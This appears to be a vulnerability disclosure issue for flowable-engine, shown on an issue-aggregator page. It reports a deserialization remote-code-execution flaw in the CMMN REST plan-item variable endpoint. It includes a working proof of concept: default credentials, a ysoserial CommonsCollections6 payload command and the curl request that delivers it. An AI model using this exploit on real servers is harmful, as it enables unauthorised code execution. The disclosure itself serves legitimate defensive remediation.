[SECURITY] Deserialization RCE via CMMN REST PlanItemInstance variable endpoint with type=serializable (CWE-502, CVSS 8.1)
维护者通常 1 天内回复
还没有人认领这个 Issue。
评估
调研方向
The vulnerability is in BaseVariableResource.java lines 365-367, where ObjectInputStream.readObject() deserializes user input without filtering. Start by examining the flow from PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable() through setBinaryVariable(). Understand the configuration property 'rest.variables.allow.serializable'. Done looks like implementing a safe deserialization method, such as using an ObjectInputFilter, and ensuring the fix is tested.
由索引模型根据 Issue 内容生成。
描述
Flowable CMMN REST PlanItemInstance Variable Endpoint Deserialization RCE
Summary
The Flowable CMMN REST module's PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable() endpoint allows uploading files via multipart/form-data to create plan item instance variables. When the type parameter is serializable, the system uses Java native ObjectInputStream.readObject() to deserialize the user-uploaded file content, with no class filtering applied (no whitelist, no blacklist, no ObjectInputFilter). The classpath contains commons-collections-3.2.2.jar, providing the CommonsCollections6 deserialization gadget chain. An attacker can construct a malicious serialized object to achieve remote code execution (RCE).
Affected Version & Commit
- Repository: https://github.com/flowable/flowable-engine
- Branch: main
- Commit: c72f39686367261f839ff1239be86d9fad10cb6f
Vulnerability Description
Trigger Location
file: modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/caze/BaseVariableResource.java
line: 365-367
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(instanceId, variableName, value, scope, isNew, async, variableInterceptor);
stream.close();
Data Flow
HTTP POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables
(Content-Type: multipart/form-data, file=<malicious serialized payload>, name=xxx, type=serializable)
↓
PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable()
PlanItemInstanceVariableCollectionResource.java:70-74
Calls getPlanItemInstanceFromRequest() to validate plan item existence, then calls createVariable()
↓
BaseVariableResource.createVariable(PlanItemInstance, boolean, HttpServletRequest, HttpServletResponse)
BaseVariableResource.java:188-191
↓
BaseVariableResource.createVariable(String, int, boolean, HttpServletRequest, ...)
BaseVariableResource.java:193-264
Detects request instanceof MultipartHttpServletRequest → true
Calls setBinaryVariable()
↓
BaseVariableResource.setBinaryVariable(MultipartHttpServletRequest, ...)
BaseVariableResource.java:303-391
Parses type=serializable → enters else if (isSerializableVariableAllowed) branch
↓
ObjectInputStream.readObject() ← SINK
BaseVariableResource.java:365-366
Directly deserializes user-uploaded file content, no class filtering → RCE
Configuration Switch (Enabled by Default)
BaseVariableResource.java:67:
isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
Defaults to true, meaning the deserialization path is directly reachable under default configuration.
Affected Endpoints
POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables(port 8080)
Exploitation Conditions
| Condition | Description |
|---|---|
| Authentication | Requires valid HTTP Basic auth credentials (any registered Flowable user; default provides rest-admin:test account) |
| Network reachability | Internal network/public (HTTP reachable REST port 8080) |
| Configuration dependency | rest.variables.allow.serializable=true (enabled by default); CMMN REST API endpoint exposed |
| Other prerequisites | At least one active plan item instance must exist in the database; classpath contains commons-collections-3.2.2.jar |
Proof of Concept
# 1. Get available plan item instance list (if none, deploy CMMN case and start instance first)
curl -s -u rest-admin:test \
"http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances"
# 2. Generate CommonsCollections6 payload using ysoserial
java --add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens java.base/java.text=ALL-UNNAMED \
--add-opens java.desktop/java.awt.font=ALL-UNNAMED \
--add-opens java.base/java.util.concurrent=ALL-UNNAMED \
--add-opens java.base/java.net=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 \
"touch /tmp/pwned_0405" > payload.ser
# 3. Send payload to target plan item instance
curl -X POST \
-u rest-admin:test \
"http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables" \
-F "name=exploit" \
-F "type=serializable" \
-F "scope=local" \
-F "[email protected]"
Actual execution results:
Payload send request returns HTTP 201 Created:
{
"name": "CommonsCollections6",
"type": "serializable",
"value": null,
"valueUrl": "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/d3159c3e-8ffe-11f1-a444-02423661ba3a/variables/CommonsCollections6/data",
"scope": "local"
}
RCE execution result confirmation:
$ ls -la /tmp/pwned_0405
-rw-r----- 1 root root 0 Aug 4 12:22 /tmp/pwned_0405
Exploitation Chain Progress
| Chain Stage | Location (file:line) | Status | Evidence / Notes |
|---|---|---|---|
| Entry | PlanItemInstanceVariableCollectionResource.java:70 | ✅ Connected | HTTP POST multipart request reached CMMN REST endpoint |
| Existence validation | BaseVariableResource.java:70-75 | ✅ Connected | planItemInstanceId validated via parameterized query |
| Multipart detection | BaseVariableResource.java:193 | ✅ Connected | request instanceof MultipartHttpServletRequest = true |
| Type branch | BaseVariableResource.java:363 | ✅ Connected | type=serializable → isSerializableVariableAllowed=true (default) |
| Sink | BaseVariableResource.java:365-366 | ✅ Triggered | ObjectInputStream.readObject() executes deserialization, triggers CC6 chain |
| RCE result | System filesystem | ✅ Success | Server created file /tmp/pwned_0405, HTTP 201 confirms variable storage success |
Impact
- Deserialization vulnerability confirmed: The server successfully received and deserialized the CommonsCollections6 payload via
ObjectInputStream.readObject() - RCE confirmed: The
touch /tmp/pwned_0405command in the payload executed successfully on the server, file created (timestamp Aug 4 12:22, matching request time) - HTTP 201 response proves the deserialized object was stored as a plan item instance variable with no exception thrown
- No class filtering protection: No ObjectInputFilter, whitelist, or blacklist configured in the code; readObject() called directly
Severity
CVSS v3.1: 8.1 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE: CWE-502 (Deserialization of Untrusted Data)
Credit
- Jiecub3 (GitHub ID: 87791178)
- Aur0ra-m (GitHub ID: 103031059)
- lz2y (GitHub ID: 55266300)
- 主要语言
- Java
- 星标
- 9.6k
- 派生
- 2.9k
- 平均合并
- 1 天 3 小时
- 30 天内合并 PR
- 6
环境准备
- 没有 Dockerfile 或 Docker Compose 文件
- 有 Pull Request 模板
- 没有贡献指南
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
flowable/flowable-engine 的其他 Issue
-
FlowableMultiInstanceActivityEventImpl#isSequential() typo issue可能已有人在做 @maxim618 于 33 天前认领。 未关闭
难度 1/5 1 小时以内 新手友好度 88/100
flowable/flowable-engine#4268 ·
维护者通常 1 天内回复
-
BpmnModel#addEscalation method implement error可能已有人在做 @Rohith1551 于 2 天前认领。 未关闭
难度 3/5 1-2 天 新手友好度 55/100
flowable/flowable-engine#4306 · 2 条评论 ·
维护者通常 1 天内回复
-
Intermittent EmptyStackException during CDI bean resolution with Weld and asynchronous jobs可能已有人在做 @adityaanikam 于 4 天前认领。 未关闭
难度 4/5 3-5 天 新手友好度 48/100
flowable/flowable-engine#4302 ·
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 57/100
flowable/flowable-engine#4300 · 1 个 reaction ·
维护者通常 1 天内回复
-
难度 5/5 一周以上 新手友好度 30/100
flowable/flowable-engine#4293 ·
维护者通常 1 天内回复
查看 flowable/flowable-engine 的全部 Issue
相似的 Issue
-
难度 2/5 1-3 小时 新手友好度 68/100
apache/rocketmq-dashboard#6872 ·
维护者通常 3 天内回复
-
难度 2/5 1-3 小时 新手友好度 68/100
ADORSYS-GIS/keycloak-oid4vp-plugin#232 ·
维护者通常 2 天内回复
-
难度 2/5 1-3 小时 新手友好度 72/100
维护者通常 2 天内回复
-
documentation
难度 2/5 1-3 小时 新手友好度 62/100
devops-thiago/ThrillhouseBot#1132 ·
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 66/100
carlos-emr/carlos#4732 ·
维护者通常 1 天内回复